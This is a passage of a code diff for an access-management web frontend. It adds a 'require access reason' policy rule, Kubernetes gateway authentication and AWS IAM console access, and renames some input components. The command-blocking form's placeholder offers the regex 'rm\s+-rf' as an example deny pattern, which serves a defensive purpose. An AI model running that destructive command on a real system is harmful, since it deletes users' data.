 const rulesToFormData = (rules: TPamAccountPolicyRules): TFormData["rules"] => {
-  return (Object.entries(rules) as [PamAccountPolicyRuleType, { patterns: string[] }][])
-    .filter(([, config]) => config?.patterns)
-    .map(([ruleType, config]) => ({
-      ruleType,
-      patterns: config.patterns.map((p) => ({ value: p }))
-    }));
+  return (
+    Object.entries(rules) as [PamAccountPolicyRuleType, { patterns?: string[] } | undefined][]
+  )
+    .filter(([ruleType, config]) => {
+      if (PAM_ACCOUNT_POLICY_RULE_IS_PATTERNLESS[ruleType]) return Boolean(config);
+      return Boolean(config?.patterns);
+    })
+    .map(([ruleType, config]) => {
+      if (PAM_ACCOUNT_POLICY_RULE_IS_PATTERNLESS[ruleType]) {
+        return { ruleType };
+      }
+      return {
+        ruleType,
+        patterns: (config?.patterns ?? []).map((p) => ({ value: p }))
+      };
+    });
 };
 
 const formDataToRules = (rules: TFormData["rules"]): TPamAccountPolicyRules => {
   return rules.reduce<TPamAccountPolicyRules>((acc, rule) => {
-    acc[rule.ruleType] = {
-      patterns: rule.patterns.map((p) => p.value)
-    };
+    if (PAM_ACCOUNT_POLICY_RULE_IS_PATTERNLESS[rule.ruleType]) {
+      acc[rule.ruleType] = {};
+    } else {
+      acc[rule.ruleType] = {
+        patterns: (rule.patterns ?? []).map((p) => p.value)
+      };
+    }
     return acc;
   }, {});
 };
@@ -173,7 +196,7 @@ const RulePatterns = ({
                 control={control}
                 name={`rules.${ruleIndex}.patterns.${patternIndex}.value`}
                 render={({ field }) => (
-                  <UnstableInput
+                  <Input
                     {...field}
                     placeholder={"Regex pattern, e.g. rm\\s+-rf"}
                     className="flex-1 font-mono text-xs"
@@ -181,7 +204,7 @@ const RulePatterns = ({
                   />
                 )}
               />
-              <UnstableIconButton
+              <IconButton
                 variant="ghost"
                 size="xs"
                 aria-label="Remove pattern"
@@ -189,7 +212,7 @@ const RulePatterns = ({
                 disabled={fields.length <= 1}
               >
                 <CircleMinus className="h-3.5 w-3.5 text-mineshaft-400" />
-              </UnstableIconButton>
+              </IconButton>
             </div>
             {patternError && <p className="mt-1 text-xs text-danger">{patternError.message}</p>}
           </div>
@@ -324,7 +347,7 @@ export const PolicySheet = ({ isOpen, onOpenChange, projectId, policy }: Props)
                 <Field>
                   <FieldLabel>Name</FieldLabel>
                   <FieldContent>
-                    <UnstableInput
+                    <Input
                       {...field}
                       placeholder="e.g. Production SSH Policy"
                       isError={Boolean(error)}
@@ -376,7 +399,13 @@ export const PolicySheet = ({ isOpen, onOpenChange, projectId, policy }: Props)
                                 disabled={isAdded}
                                 onSelect={() => {
                                   if (!isAdded) {
-                                    appendRule({ ruleType, patterns: [{ value: "" }] });
+                                    const isPatternless =
+                                      PAM_ACCOUNT_POLICY_RULE_IS_PATTERNLESS[ruleType];
+                                    appendRule(
+                                      isPatternless
+                                        ? { ruleType }
+                                        : { ruleType, patterns: [{ value: "" }] }
+                                    );
                                     setAddRuleOpen(false);
                                   }
                                 }}
@@ -403,6 +432,7 @@ export const PolicySheet = ({ isOpen, onOpenChange, projectId, policy }: Props)
                 const ruleType = currentRules[ruleIndex]?.ruleType;
                 if (!ruleType) return null;
                 const meta = PAM_ACCOUNT_POLICY_RULE_METADATA[ruleType];
+                const isPatternless = PAM_ACCOUNT_POLICY_RULE_IS_PATTERNLESS[ruleType];
 
                 return (
                   <div key={ruleField.id} className="rounded-md border border-border bg-card p-4">
@@ -411,22 +441,24 @@ export const PolicySheet = ({ isOpen, onOpenChange, projectId, policy }: Props)
                         <span className="text-sm font-medium text-foreground">{meta.name}</span>
                         {ruleType && <RuleSupportedResourceIndicator ruleType={ruleType} />}
                       </div>
-                      <UnstableIconButton
+                      <IconButton
                         variant="danger"
                         size="xs"
                         aria-label="Remove rule"
                         onClick={() => removeRule(ruleIndex)}
                       >
                         <Trash2 className="size-3.5" />
-                      </UnstableIconButton>
+                      </IconButton>
                     </div>
                     {meta.description && (
                       <p className="mt-2 text-xs text-muted">{meta.description}</p>
                     )}
 
-                    <div className="mt-3">
-                      <RulePatterns control={control} ruleIndex={ruleIndex} errors={errors} />
-                    </div>
+                    {!isPatternless && (
+                      <div className="mt-3">
+                        <RulePatterns control={control} ruleIndex={ruleIndex} errors={errors} />
+                      </div>
+                    )}
                   </div>
                 );
               })}
diff --git a/frontend/src/pages/pam/PamAccountPoliciesPage/components/constants.ts b/frontend/src/pages/pam/PamAccountPoliciesPage/components/constants.ts
index a2aec6560d3..b15cb9e715f 100644
--- a/frontend/src/pages/pam/PamAccountPoliciesPage/components/constants.ts
+++ b/frontend/src/pages/pam/PamAccountPoliciesPage/components/constants.ts
@@ -6,7 +6,8 @@ export const PAM_ACCOUNT_POLICY_RULE_SUPPORTED_RESOURCES: Record<
   PamResourceType[] | "all"
 > = {
   [PamAccountPolicyRuleType.CommandBlocking]: [PamResourceType.SSH],
-  [PamAccountPolicyRuleType.SessionLogMasking]: "all"
+  [PamAccountPolicyRuleType.SessionLogMasking]: "all",
+  [PamAccountPolicyRuleType.RequireReason]: "all"
 };
 
 export const PAM_ACCOUNT_POLICY_RULE_METADATA: Record<
@@ -20,5 +21,15 @@ export const PAM_ACCOUNT_POLICY_RULE_METADATA: Record<
   [PamAccountPolicyRuleType.SessionLogMasking]: {
     name: "Session Log Masking",
     description: "Mask sensitive data in session logs matching specified patterns"
+  },
+  [PamAccountPolicyRuleType.RequireReason]: {
+    name: "Require Access Reason",
+    description: "Require users to provide a reason before they can start a session"
   }
 };
+
+export const PAM_ACCOUNT_POLICY_RULE_IS_PATTERNLESS: Record<PamAccountPolicyRuleType, boolean> = {
+  [PamAccountPolicyRuleType.CommandBlocking]: false,
+  [PamAccountPolicyRuleType.SessionLogMasking]: false,
+  [PamAccountPolicyRuleType.RequireReason]: true
+};
diff --git a/frontend/src/pages/pam/PamAccountsPage/components/PamAccessAccountModal.tsx b/frontend/src/pages/pam/PamAccountsPage/components/PamAccessAccountModal.tsx
index e0822d8c7ad..49a4ca45c59 100644
--- a/frontend/src/pages/pam/PamAccountsPage/components/PamAccessAccountModal.tsx
+++ b/frontend/src/pages/pam/PamAccountsPage/components/PamAccessAccountModal.tsx
@@ -11,14 +11,23 @@ import { ROUTE_PATHS } from "@app/const/routes";
 import { useOrganization } from "@app/context";
 import { PamResourceType, TPamAccount } from "@app/hooks/api/pam";
 
+import { PamAwsIamAccessSection } from "./PamAwsIamAccessSection";
+
 type Props = {
   account?: TPamAccount;
   isOpen: boolean;
   onOpenChange: (isOpen: boolean) => void;
   projectId: string;
+  reason?: string;
 };
 
-export const PamAccessAccountModal = ({ isOpen, onOpenChange, account, projectId }: Props) => {
+export const PamAccessAccountModal = ({
+  isOpen,
+  onOpenChange,
+  account,
+  projectId,
+  reason
+}: Props) => {
   const { currentOrg } = useOrganization();
   const [duration, setDuration] = useState("4h");
 
@@ -68,20 +77,23 @@ export const PamAccessAccountModal = ({ isOpen, onOpenChange, account, projectId
   }, [duration]);
 
   const command = useMemo(() => {
-    if (!account) return "";
+    if (!account?.resource) return "";
+    const { resource } = account;
+    const base = (verb: string) =>
+      `infisical pam ${verb} access --resource ${resource.name} --account ${account.name} --project-id ${projectId} --duration ${cliDuration} --domain ${siteURL}`;
 
-    switch (account.resource.resourceType) {
+    switch (resource.resourceType) {
       case PamResourceType.Postgres:
       case PamResourceType.MySQL:
       case PamResourceType.MsSQL:
       case PamResourceType.MongoDB:
-        return `infisical pam db access --resource ${account.resource.name} --account ${account.name} --project-id ${projectId} --duration ${cliDuration} --domain ${siteURL}`;
+        return base("db");
       case PamResourceType.Redis:
-        return `infisical pam redis access --resource ${account.resource.name} --account ${account.name} --project-id ${projectId} --duration ${cliDuration} --domain ${siteURL}`;
+        return base("redis");
       case PamResourceType.SSH:
-        return `infisical pam ssh access --resource ${account.resource.name} --account ${account.name} --project-id ${projectId} --duration ${cliDuration} --domain ${siteURL}`;
+        return base("ssh");
       case PamResourceType.Kubernetes:
-        return `infisical pam kubernetes access --resource ${account.resource.name} --account ${account.name} --project-id ${projectId} --duration ${cliDuration} --domain ${siteURL}`;
+        return base("kubernetes");
       default:
         return "";
     }
@@ -89,10 +101,12 @@ export const PamAccessAccountModal = ({ isOpen, onOpenChange, account, projectId
 
   if (!account) return null;
 
+  const isAwsIam = account.resource?.resourceType === PamResourceType.AwsIam;
+
   const showWebAccess =
-    account.resource.resourceType === PamResourceType.Postgres ||
-    account.resource.resourceType === PamResourceType.SSH ||
-    account.resource.resourceType === PamResourceType.Redis;
+    account.resource?.resourceType === PamResourceType.Postgres ||
+    account.resource?.resourceType === PamResourceType.SSH ||
+    account.resource?.resourceType === PamResourceType.Redis;
 
   return (
     <Modal isOpen={isOpen} onOpenChange={onOpenChange}>
@@ -101,82 +115,95 @@ export const PamAccessAccountModal = ({ isOpen, onOpenChange, account, projectId
         title="Access Account"
         subTitle={`Connect to ${account.name}`}
       >
-        <div className="py-1">
-          <p className="text-sm font-medium text-mineshaft-400">Terminal</p>
-          <p className="mb-2 text-xs text-mineshaft-400">Connect using the Infisical CLI</p>
-          <FormLabel
-            label="Duration"
-            tooltipText="The maximum duration of your session. Ex: 1h, 3w, 30d"
-          />
-          <Input
-            value={duration}
-            onChange={(e) => setDuration(e.target.value)}
-            placeholder="permanent"
-            isError={!isDurationValid}
+        {isAwsIam ? (
+          <PamAwsIamAccessSection
+            account={account}
+            projectId={projectId}
+            reason={reason}
+            onClose={() => onOpenChange(false)}
           />
-          <FormLabel label="CLI Command" className="mt-4" />
-          <div className="flex gap-2">
-            <Input value={command} isDisabled />
-            <IconButton
-              ariaLabel="copy"
-              variant="outline_bg"
-              colorSchema="secondary"
-              onClick={() => {
-                navigator.clipboard.writeText(command);
-
-                createNotification({
-                  text: "Command copied to clipboard",
-                  type: "info"
-                });
-
-                onOpenChange(false);
-              }}
-              className="w-10"
-            >
-              <FontAwesomeIcon icon={faCopy} />
-            </IconButton>
-          </div>
-          <a
-            href="https://infisical.com/docs/cli/overview"
-            target="_blank"
-            className="mt-2 flex h-4 w-fit items-center gap-2 border-b border-mineshaft-400 text-sm text-mineshaft-400 transition-colors duration-100 hover:border-yellow-400 hover:text-yellow-400"
-            rel="noreferrer"
-          >
-            <span>Install the Infisical CLI</span>
-            <FontAwesomeIcon icon={faUpRightFromSquare} className="size-3" />
-          </a>
-        </div>
-        {showWebAccess && (
+        ) : (
           <>
-            <div className="relative my-6">
-              <div className="absolute inset-0 flex items-center">
-                <div className="w-full border-t border-mineshaft-600" />
-              </div>
-              <div className="relative flex justify-center text-xs">
-                <span className="bg-mineshaft-800 px-2 text-mineshaft-400">OR</span>
-              </div>
-            </div>
             <div className="py-1">
-              <p className="text-sm font-medium text-mineshaft-400">Browser</p>
-              <p className="mb-2 text-xs text-mineshaft-400">Connect directly from your browser</p>
+              <p className="text-sm font-medium text-mineshaft-400">Terminal</p>
+              <p className="mb-2 text-xs text-mineshaft-400">Connect using the Infisical CLI</p>
+              <FormLabel
+                label="Duration"
+                tooltipText="The maximum duration of your session. Ex: 1h, 3w, 30d"
+              />
+              <Input
+                value={duration}
+                onChange={(e) => setDuration(e.target.value)}
+                placeholder="permanent"
+                isError={!isDurationValid}
+              />
+              <FormLabel label="CLI Command" className="mt-4" />
               <div className="flex gap-2">
-                <Link
-                  to={ROUTE_PATHS.Pam.PamAccountAccessPage.path}
-                  params={{
-                    orgId: currentOrg.id,
-                    projectId,
-                    resourceType: account.resource.resourceType,
-                    resourceId: account.resource.id,
-                    accountId: account.id
+                <Input value={command} isDisabled />
+                <IconButton
+                  ariaLabel="copy"
+                  variant="outline_bg"
+                  colorSchema="secondary"
+                  onClick={() => {
+                    navigator.clipboard.writeText(command);
+
+                    createNotification({
+                      text: "Command copied to clipboard",
+                      type: "info"
+                    });
+
+                    onOpenChange(false);
                   }}
-                  target="_blank"
-                  className="flex w-full items-center justify-center gap-2 rounded-md bg-primary px-4 py-2 text-sm font-medium text-black transition-colors hover:bg-primary/80"
+                  className="w-10"
                 >
-                  <FontAwesomeIcon icon={faTerminal} />
-                  Connect in Browser
-                </Link>
+                  <FontAwesomeIcon icon={faCopy} />
+                </IconButton>
               </div>
+              <a
+                href="https://infisical.com/docs/cli/overview"
+                target="_blank"
+                className="mt-2 flex h-4 w-fit items-center gap-2 border-b border-mineshaft-400 text-sm text-mineshaft-400 transition-colors duration-100 hover:border-yellow-400 hover:text-yellow-400"
+                rel="noreferrer"
+              >
+                <span>Install the Infisical CLI</span>
+                <FontAwesomeIcon icon={faUpRightFromSquare} className="size-3" />
+              </a>
             </div>
+            {showWebAccess && (
+              <>
+                <div className="relative my-6">
+                  <div className="absolute inset-0 flex items-center">
+                    <div className="w-full border-t border-mineshaft-600" />
+                  </div>
+                  <div className="relative flex justify-center text-xs">
+                    <span className="bg-mineshaft-800 px-2 text-mineshaft-400">OR</span>
+                  </div>
+                </div>
+                <div className="py-1">
+                  <p className="text-sm font-medium text-mineshaft-400">Browser</p>
+                  <p className="mb-2 text-xs text-mineshaft-400">
+                    Connect directly from your browser
+                  </p>
+                  <div className="flex gap-2">
+                    <Link
+                      to={ROUTE_PATHS.Pam.PamAccountAccessPage.path}
+                      params={{
+                        orgId: currentOrg.id,
+                        projectId,
+                        resourceType: account.resource?.resourceType ?? "",
+                        resourceId: account.resource?.id ?? "",
+                        accountId: account.id
+                      }}
+                      target="_blank"
+                      className="flex w-full items-center justify-center gap-2 rounded-md bg-primary px-4 py-2 text-sm font-medium text-black transition-colors hover:bg-primary/80"
+                    >
+                      <FontAwesomeIcon icon={faTerminal} />
+                      Connect in Browser
+                    </Link>
+                  </div>
+                </div>
+              </>
+            )}
           </>
         )}
       </ModalContent>
diff --git a/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/ActiveDirectoryAccountForm.tsx b/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/ActiveDirectoryAccountForm.tsx
index 346829eaa79..796f0cb0d03 100644
--- a/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/ActiveDirectoryAccountForm.tsx
+++ b/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/ActiveDirectoryAccountForm.tsx
@@ -5,9 +5,11 @@ import { z } from "zod";
 
 import { FormControl, Input, Select, SelectItem } from "@app/components/v2";
 import { Button, SheetFooter } from "@app/components/v3";
-import { PamResourceType, TActiveDirectoryAccount } from "@app/hooks/api/pam";
 import { UNCHANGED_PASSWORD_SENTINEL } from "@app/hooks/api/pam/constants";
-import { ActiveDirectoryAccountType } from "@app/hooks/api/pam/types/active-directory-resource";
+import {
+  ActiveDirectoryAccountType,
+  TActiveDirectoryAccount
+} from "@app/hooks/api/pamDomain/active-directory-types";
 
 import {
   AccountPolicyField,
@@ -19,8 +21,6 @@ import { RequireMfaField } from "./RequireMfaField";
 
 type Props = {
   account?: TActiveDirectoryAccount;
-  resourceId?: string;
-  resourceType?: PamResourceType;
   onSubmit: (formData: FormData) => Promise<void>;
   closeSheet: () => void;
 };
diff --git a/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/GenericAccountFields.tsx b/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/GenericAccountFields.tsx
index 5ac5c2e9560..26707cab50b 100644
--- a/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/GenericAccountFields.tsx
+++ b/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/GenericAccountFields.tsx
@@ -8,11 +8,11 @@ import {
   FieldError,
   FieldLabel,
   FilterableSelect,
+  Input,
   TextArea,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableInput
+  TooltipTrigger
 } from "@app/components/v3";
 import { useProject } from "@app/context";
 import { useListPamAccountPolicies } from "@app/hooks/api/pam";
@@ -105,7 +105,7 @@ export const GenericAccountFields = () => {
             <FieldLabel>Name</FieldLabel>
             <FieldContent>
               <div className="relative">
-                <UnstableInput
+                <Input
                   {...field}
                   autoFocus
                   isError={Boolean(error)}
diff --git a/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/KubernetesAccountForm.tsx b/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/KubernetesAccountForm.tsx
index 6fee3f08908..12334f219f4 100644
--- a/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/KubernetesAccountForm.tsx
+++ b/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/KubernetesAccountForm.tsx
@@ -1,8 +1,8 @@
-import { Controller, FormProvider, useForm, useFormContext } from "react-hook-form";
+import { Controller, FormProvider, useForm, useFormContext, useWatch } from "react-hook-form";
 import { zodResolver } from "@hookform/resolvers/zod";
 import { z } from "zod";
 
-import { FormControl, TextArea } from "@app/components/v2";
+import { FormControl, Input, Select, SelectItem, TextArea } from "@app/components/v2";
 import { Button, SheetFooter } from "@app/components/v3";
 import { KubernetesAuthMethod, PamResourceType, TKubernetesAccount } from "@app/hooks/api/pam";
 import { UNCHANGED_PASSWORD_SENTINEL } from "@app/hooks/api/pam/constants";
@@ -13,6 +13,7 @@ import {
   genericAccountFieldsSchema
 } from "./GenericAccountFields";
 import { MetadataFields } from "./MetadataFields";
+import { RequireMfaField } from "./RequireMfaField";
 
 type Props = {
   account?: TKubernetesAccount;
@@ -27,41 +28,140 @@ const KubernetesServiceAccountTokenCredentialsSchema = z.object({
   serviceAccountToken: z.string().trim().min(1, "Service account token is required")
 });
 
+const KubernetesGatewayAuthCredentialsSchema = z.object({
+  authMethod: z.literal(KubernetesAuthMethod.GatewayKubernetesAuth),
+  namespace: z.string().trim().min(1, "Namespace is required").max(63),
+  serviceAccountName: z.string().trim().min(1, "Service account name is required").max(253)
+});
+
 const formSchema = genericAccountFieldsSchema.extend({
-  credentials: KubernetesServiceAccountTokenCredentialsSchema
+  credentials: z.discriminatedUnion("authMethod", [
+    KubernetesServiceAccountTokenCredentialsSchema,
+    KubernetesGatewayAuthCredentialsSchema
+  ]),
+  requireMfa: z.boolean().nullable().optional()
 });
 
 type FormData = z.infer<typeof formSchema>;
 
-const KubernetesAccountFields = ({ isUpdate }: { isUpdate: boolean }) => {
-  const { control } = useFormContext<FormData>();
+const KubernetesAccountFields = ({
+  isUpdate,
+  originalAuthMethod
+}: {
+  isUpdate: boolean;
+  originalAuthMethod?: KubernetesAuthMethod;
+}) => {
+  const { control, setValue } = useFormContext<FormData>();
+
+  const authMethod =
+    useWatch({ control, name: "credentials.authMethod" }) ||
+    KubernetesAuthMethod.ServiceAccountToken;
 
   return (
     <div className="mb-4 rounded-sm border border-mineshaft-600 bg-mineshaft-700/70 p-3">
       <Controller
-        name="credentials.serviceAccountToken"
+        name="credentials.authMethod"
         control={control}
-        render={({ field, fieldState: { error } }) => (
+        render={({ field: { value, onChange }, fieldState: { error } }) => (
           <FormControl
-            className="mb-0"
-            errorText={error?.message}
+            className="mb-3"
             isError={Boolean(error?.message)}
-            label="Service Account Token"
-            helperText="The bearer token for the service account"
+            errorText={error?.message}
+            label="Authentication Method"
           >
-            <TextArea
-              {...field}
-              value={field.value === UNCHANGED_PASSWORD_SENTINEL ? "" : field.value || ""}
-              className="min-h-32 resize-y font-mono text-xs"
-              placeholder={
-                isUpdate && field.value === UNCHANGED_PASSWORD_SENTINEL
-                  ? "Token unchanged - click to update"
-                  : "eyJhbGciOiJSUzI1NiIsImtpZCI6..."
-              }
-            />
+            <Select
+              value={value || KubernetesAuthMethod.ServiceAccountToken}
+              onValueChange={(newAuthMethod) => {
+                onChange(newAuthMethod);
+                // Clear credentials from other auth methods, restoring sentinel in update mode
+                setValue(
+                  "credentials.serviceAccountToken" as never,
+                  (newAuthMethod === KubernetesAuthMethod.ServiceAccountToken &&
+                  isUpdate &&
+                  originalAuthMethod === KubernetesAuthMethod.ServiceAccountToken
+                    ? UNCHANGED_PASSWORD_SENTINEL
+                    : undefined) as never,
+                  { shouldDirty: true }
+                );
+                setValue("credentials.namespace" as never, undefined as never, {
+                  shouldDirty: true
+                });
+                setValue("credentials.serviceAccountName" as never, undefined as never, {
+                  shouldDirty: true
+                });
+              }}
+              className="w-full border border-mineshaft-500"
+            >
+              <SelectItem value={KubernetesAuthMethod.ServiceAccountToken}>
+                Service Account Token
+              </SelectItem>
+              <SelectItem value={KubernetesAuthMethod.GatewayKubernetesAuth}>Gateway</SelectItem>
+            </Select>
           </FormControl>
         )}
       />
+
+      {authMethod === KubernetesAuthMethod.ServiceAccountToken && (
+        <Controller
+          name="credentials.serviceAccountToken"
+          control={control}
+          render={({ field, fieldState: { error } }) => (
+            <FormControl
+              className="mb-0"
+              errorText={error?.message}
+              isError={Boolean(error?.message)}
+              label="Service Account Token"
+              helperText="The bearer token for the service account"
+            >
+              <TextArea
+                {...field}
+                value={field.value === UNCHANGED_PASSWORD_SENTINEL ? "" : field.value || ""}
+                className="min-h-32 resize-y font-mono text-xs"
+                placeholder={
+                  isUpdate && field.value === UNCHANGED_PASSWORD_SENTINEL
+                    ? "Token unchanged - click to update"
+                    : "eyJhbGciOiJSUzI1NiIsImtpZCI6..."
+                }
+              />
+            </FormControl>
+          )}
+        />
+      )}
+
+      {authMethod === KubernetesAuthMethod.GatewayKubernetesAuth && (
+        <>
+          <Controller
+            name="credentials.serviceAccountName"
+            control={control}
+            render={({ field, fieldState: { error } }) => (
+              <FormControl
+                className="mb-3"
+                errorText={error?.message}
+                isError={Boolean(error?.message)}
+                label="Service Account Name"
+                helperText="Name of the Kubernetes service account to impersonate"
+              >
+                <Input {...field} placeholder="deploy-bot" autoComplete="off" />
+              </FormControl>
+            )}
+          />
+          <Controller
+            name="credentials.namespace"
+            control={control}
+            render={({ field, fieldState: { error } }) => (
+              <FormControl
+                className="mb-0"
+                errorText={error?.message}
+                isError={Boolean(error?.message)}
+                label="Namespace"
+                helperText="Kubernetes namespace where the service account lives"
+              >
+                <Input {...field} placeholder="default" autoComplete="off" />
+              </FormControl>
+            )}
+          />
+        </>
+      )}
     </div>
   );
 };
@@ -69,19 +169,31 @@ const KubernetesAccountFields = ({ isUpdate }: { isUpdate: boolean }) => {
 export const KubernetesAccountForm = ({ account, onSubmit, closeSheet }: Props) => {
   const isUpdate = Boolean(account);
 
+  const getDefaultCredentials = () => {
+    if (!account) return undefined;
+
+    if (account.credentials.authMethod === KubernetesAuthMethod.ServiceAccountToken) {
+      return {
+        ...account.credentials,
+        serviceAccountToken: UNCHANGED_PASSWORD_SENTINEL
+      };
+    }
+
+    // Gateway auth has no sensitive fields
+    return account.credentials;
+  };
+
   const form = useForm<FormData>({
     resolver: zodResolver(formSchema),
     defaultValues: account
       ? {
           ...account,
-          credentials: {
-            ...account.credentials,
-            serviceAccountToken: UNCHANGED_PASSWORD_SENTINEL
-          }
+          credentials: getDefaultCredentials()
         }
       : {
           name: "",
           description: "",
+          requireMfa: false,
           credentials: {
             authMethod: KubernetesAuthMethod.ServiceAccountToken,
             serviceAccountToken: ""
@@ -104,8 +216,12 @@ export const KubernetesAccountForm = ({ account, onSubmit, closeSheet }: Props)
       >
         <div className="flex min-h-0 flex-1 shrink flex-col gap-4 overflow-y-auto p-4 pb-8">
           <GenericAccountFields />
-          <KubernetesAccountFields isUpdate={isUpdate} />
+          <KubernetesAccountFields
+            isUpdate={isUpdate}
+            originalAuthMethod={account?.credentials.authMethod}
+          />
           <AccountPolicyField />
+          <RequireMfaField />
           <MetadataFields />
         </div>
         <SheetFooter className="shrink-0 border-t">
diff --git a/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/PamAccountForm.tsx b/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/PamAccountForm.tsx
index f84020db200..9d661431dea 100644
--- a/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/PamAccountForm.tsx
+++ b/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/PamAccountForm.tsx
@@ -5,6 +5,7 @@ import {
   useCreatePamAccount,
   useUpdatePamAccount
 } from "@app/hooks/api/pam";
+import { PamDomainType } from "@app/hooks/api/pamDomain";
 import { DiscriminativePick } from "@app/types";
 
 import { ActiveDirectoryAccountForm } from "./ActiveDirectoryAccountForm";
@@ -57,7 +58,7 @@ const CreateForm = ({
       ...rest,
       folderId,
       resourceId,
-      resourceType,
+      parentType: resourceType,
       projectId,
       internalMetadata,
       policyId
@@ -151,15 +152,6 @@ const CreateForm = ({
           resourceType={resourceType}
         />
       );
-    case PamResourceType.ActiveDirectory:
-      return (
-        <ActiveDirectoryAccountForm
-          onSubmit={onSubmit}
-          closeSheet={closeSheet}
-          resourceId={resourceId}
-          resourceType={resourceType}
-        />
-      );
     default:
       throw new Error(`Unhandled resource: ${resourceType}`);
   }
@@ -181,7 +173,7 @@ const UpdateForm = ({ account, closeSheet }: UpdateFormProps) => {
     const { internalMetadata, policyId, ...rest } = formData;
     const updatedAccount = await updatePamAccount.mutateAsync({
       accountId: account.id,
-      resourceType: account.resource.resourceType,
+      parentType: account.parentType,
       ...rest,
       internalMetadata,
       policyId
@@ -193,7 +185,7 @@ const UpdateForm = ({ account, closeSheet }: UpdateFormProps) => {
     closeSheet(updatedAccount);
   };
 
-  switch (account.resource.resourceType) {
+  switch (account.parentType) {
     case PamResourceType.Postgres:
       return (
         <PostgresAccountForm account={account as any} onSubmit={onSubmit} closeSheet={closeSheet} />
@@ -238,7 +230,7 @@ const UpdateForm = ({ account, closeSheet }: UpdateFormProps) => {
       return (
         <WindowsAccountForm account={account as any} onSubmit={onSubmit} closeSheet={closeSheet} />
       );
-    case PamResourceType.ActiveDirectory:
+    case PamDomainType.ActiveDirectory:
       return (
         <ActiveDirectoryAccountForm
           account={account as any}
@@ -247,7 +239,7 @@ const UpdateForm = ({ account, closeSheet }: UpdateFormProps) => {
         />
       );
     default:
-      throw new Error(`Unhandled resource: ${account.resource.resourceType}`);
+      throw new Error(`Unhandled account type: ${account.parentType}`);
   }
 };
 
diff --git a/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/SshAccountForm.tsx b/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/SshAccountForm.tsx
index 745fda96272..fee11a6dfb9 100644
--- a/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/SshAccountForm.tsx
+++ b/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/SshAccountForm.tsx
@@ -191,7 +191,7 @@ const SshAccountFields = ({ isUpdate, resourceId }: { isUpdate: boolean; resourc
 
 export const SshAccountForm = ({ account, resourceId, onSubmit, closeSheet }: Props) => {
   const isUpdate = Boolean(account);
-  const effectiveResourceId = resourceId || account?.resource.id || "";
+  const effectiveResourceId = resourceId || account?.resource?.id || "";
 
   const getDefaultCredentials = () => {
     if (!account) return undefined;
diff --git a/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/shared/SqlAccountFields.tsx b/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/shared/SqlAccountFields.tsx
index c9dc042b48c..9aafbc9cbf4 100644
--- a/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/shared/SqlAccountFields.tsx
+++ b/frontend/src/pages/pam/PamAccountsPage/components/PamAccountForm/shared/SqlAccountFields.tsx
@@ -1,7 +1,7 @@
 import { useEffect, useState } from "react";
 import { Controller, useFormContext, useWatch } from "react-hook-form";
 
-import { Field, FieldContent, FieldError, FieldLabel, UnstableInput } from "@app/components/v3";
+import { Field, FieldContent, FieldError, FieldLabel, Input } from "@app/components/v3";
 import { UNCHANGED_PASSWORD_SENTINEL } from "@app/hooks/api/pam/constants";
 
 export const SqlAccountFields = ({ isUpdate }: { isUpdate: boolean }) => {
@@ -24,12 +24,7 @@ export const SqlAccountFields = ({ isUpdate }: { isUpdate: boolean }) => {
           <Field>
             <FieldLabel>Username</FieldLabel>
             <FieldContent>
-              <UnstableInput
-                {...field}
-                isError={Boolean(error)}
-                autoComplete="off"
-                placeholder="user"
-              />
+              <Input {...field} isError={Boolean(error)} autoComplete="off" placeholder="user" />
               <FieldError errors={[error]} />
             </FieldContent>
           </Field>
@@ -43,7 +38,7 @@ export const SqlAccountFields = ({ isUpdate }: { isUpdate: boolean }) => {
           <Field>
             <FieldLabel>Password</FieldLabel>
             <FieldContent>
-              <UnstableInput
+              <Input
                 {...field}
                 placeholder="••••••"
                 isError={Boolean(error)}
diff --git a/frontend/src/pages/pam/PamAccountsPage/components/PamAwsIamAccessReasonModal.tsx b/frontend/src/pages/pam/PamAccountsPage/components/PamAwsIamAccessReasonModal.tsx
new file mode 100644
index 00000000000..2202e242b38
--- /dev/null
+++ b/frontend/src/pages/pam/PamAccountsPage/components/PamAwsIamAccessReasonModal.tsx
@@ -0,0 +1,87 @@
+import { useEffect, useState } from "react";
+
+import { Button, Modal, ModalContent, TextArea } from "@app/components/v2";
+import { TPamAccount } from "@app/hooks/api/pam";
+
+type Props = {
+  account?: TPamAccount;
+  isOpen: boolean;
+  isPending?: boolean;
+  onOpenChange: (isOpen: boolean) => void;
+  onSubmit: (reason: string) => void;
+};
+
+export const PamAwsIamAccessReasonModal = ({
+  account,
+  isOpen,
+  isPending,
+  onOpenChange,
+  onSubmit
+}: Props) => {
+  const [reason, setReason] = useState("");
+  const [touched, setTouched] = useState(false);
+
+  useEffect(() => {
+    if (isOpen) {
+      setReason("");
+      setTouched(false);
+    }
+  }, [isOpen, account?.id]);
+
+  if (!account) return null;
+
+  const isReasonRequired = Boolean(account.requireReason);
+  const trimmed = reason.trim();
+  const canSubmit = !isReasonRequired || trimmed.length > 0;
+  const showError = touched && isReasonRequired && trimmed.length === 0;
+
+  const handleSubmit = () => {
+    if (!canSubmit) {
+      setTouched(true);
+      return;
+    }
+    onSubmit(trimmed);
+  };
+
+  return (
+    <Modal isOpen={isOpen} onOpenChange={onOpenChange}>
+      <ModalContent
+        className="max-w-md"
+        title={isReasonRequired ? "Reason Required" : "Open AWS Console"}
